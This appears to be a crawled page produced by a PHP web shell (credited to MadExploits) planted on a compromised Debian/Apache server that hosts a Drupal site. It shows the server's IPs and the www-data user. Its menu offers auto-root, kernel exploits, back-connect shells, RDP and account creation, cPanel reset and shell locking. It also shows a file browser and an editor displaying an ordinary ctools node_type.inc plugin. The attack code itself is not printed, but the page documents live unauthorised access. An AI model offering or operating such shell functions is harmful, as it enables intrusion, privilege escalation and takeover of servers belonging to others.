Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.191.171.72
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
ctools /
plugins /
access /
[ HOME SHELL ]
Name
Size
Permission
Action
book.inc
2.59
KB
-rw-r--r--
compare_users.inc
2.33
KB
-rw-r--r--
context_exists.inc
1.83
KB
-rw-r--r--
entity_bundle.inc
4.51
KB
-rw-r--r--
entity_field_value.inc
14.35
KB
-rw-r--r--
front.inc
1.04
KB
-rw-r--r--
node.inc
0
B
-rw-r--r--
node_access.inc
2.65
KB
-rw-r--r--
node_comment.inc
923
B
-rw-r--r--
node_language.inc
3.41
KB
-rw-r--r--
node_status.inc
915
B
-rw-r--r--
node_type.inc
3.71
KB
-rw-r--r--
path_visibility.inc
3.08
KB
-rw-r--r--
perm.inc
2.08
KB
-rw-r--r--
php.inc
2.1
KB
-rw-r--r--
role.inc
2.38
KB
-rw-r--r--
site_language.inc
2.46
KB
-rw-r--r--
string_equal.inc
2.78
KB
-rw-r--r--
string_length.inc
2.28
KB
-rw-r--r--
term.inc
3.8
KB
-rw-r--r--
term_has_parent.inc
5.66
KB
-rw-r--r--
term_parent.inc
2.74
KB
-rw-r--r--
term_vocabulary.inc
3.77
KB
-rw-r--r--
theme.inc
1.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : node_type.inc
<?php /** * @file * Plugin to provide access control based upon node type. */ /** * Plugins are described by creating a $plugin array which will be used * by the system that includes this file. */ $plugin = array( 'title' => t("Node: type"), 'description' => t('Control access by node_type.'), 'callback' => 'ctools_node_type_ctools_access_check', 'default' => array('type' => array()), 'settings form' => 'ctools_node_type_ctools_access_settings', 'settings form submit' => 'ctools_node_type_ctools_access_settings_submit', 'summary' => 'ctools_node_type_ctools_access_summary', 'required context' => new ctools_context_required(t('Node'), 'node'), 'restrictions' => 'ctools_node_type_ctools_access_restrictions', ); /** * Settings form for the 'by node_type' access plugin */ function ctools_node_type_ctools_access_settings($form, &$form_state, $conf) { $types = node_type_get_types(); foreach ($types as $type => $info) { $options[$type] = check_plain($info->name); } $form['settings']['type'] = array( '#title' => t('Node type'), '#type' => 'checkboxes', '#options' => $options, '#description' => t('Only the checked node types will be valid.'), '#default_value' => $conf['type'], ); return $form; } /** * Compress the node_types allowed to the minimum. */ function ctools_node_type_ctools_access_settings_submit($form, &$form_state) { $form_state['values']['settings']['type'] = array_filter($form_state['values']['settings']['type']); } /** * Check for access. */ function ctools_node_type_ctools_access_check($conf, $context) { // As far as I know there should always be a context at this point, but this // is safe. if (empty($context) || empty($context->data) || empty($context->data->type)) { return FALSE; } if (array_filter($conf['type']) && empty($conf['type'][$context->data->type])) { return FALSE; } return TRUE; } /** * Inform the UI that we've eliminated a bunch of possibilities for this * context. */ function ctools_node_type_ctools_access_restrictions($conf, &$context) { if (isset($context->restrictions['type'])) { $context->restrictions['type'] = array_unique(array_merge($context->restrictions['type'], array_keys(array_filter($conf['type'])))); } else { $context->restrictions['type'] = array_keys(array_filter($conf['type'])); } } /** * Provide a summary description based upon the checked node_types. */ function ctools_node_type_ctools_access_summary($conf, $context) { if (!isset($conf['type'])) { $conf['type'] = array(); } $types = node_type_get_types(); $names = array(); // If a node type doesn't exist, let the user know, but prevent a notice. $missing_types = array(); foreach (array_filter($conf['type']) as $type) { if (!empty($types[$type])) { $names[] = check_plain($types[$type]->name); } else { $missing_types[] = check_plain($type); } } if (empty($names) && empty($missing_types)) { return t('@identifier is any node type', array('@identifier' => $context->identifier)); } if (!empty($missing_types)) { $output = array(); if (!empty($names)) { $output[] = format_plural(count($names), '@identifier is type "@types"', '@identifier type is one of "@types"', array('@types' => implode(', ', $names), '@identifier' => $context->identifier)); } $output[] = format_plural(count($missing_types), 'Missing/ deleted type "@types"', 'Missing/ deleted type is one of "@types"', array('@types' => implode(', ', $missing_types))); return implode(' | ', $output); } return format_plural(count($names), '@identifier is type "@types"', '@identifier type is one of "@types"', array('@types' => implode(', ', $names), '@identifier' => $context->identifier)); }
Close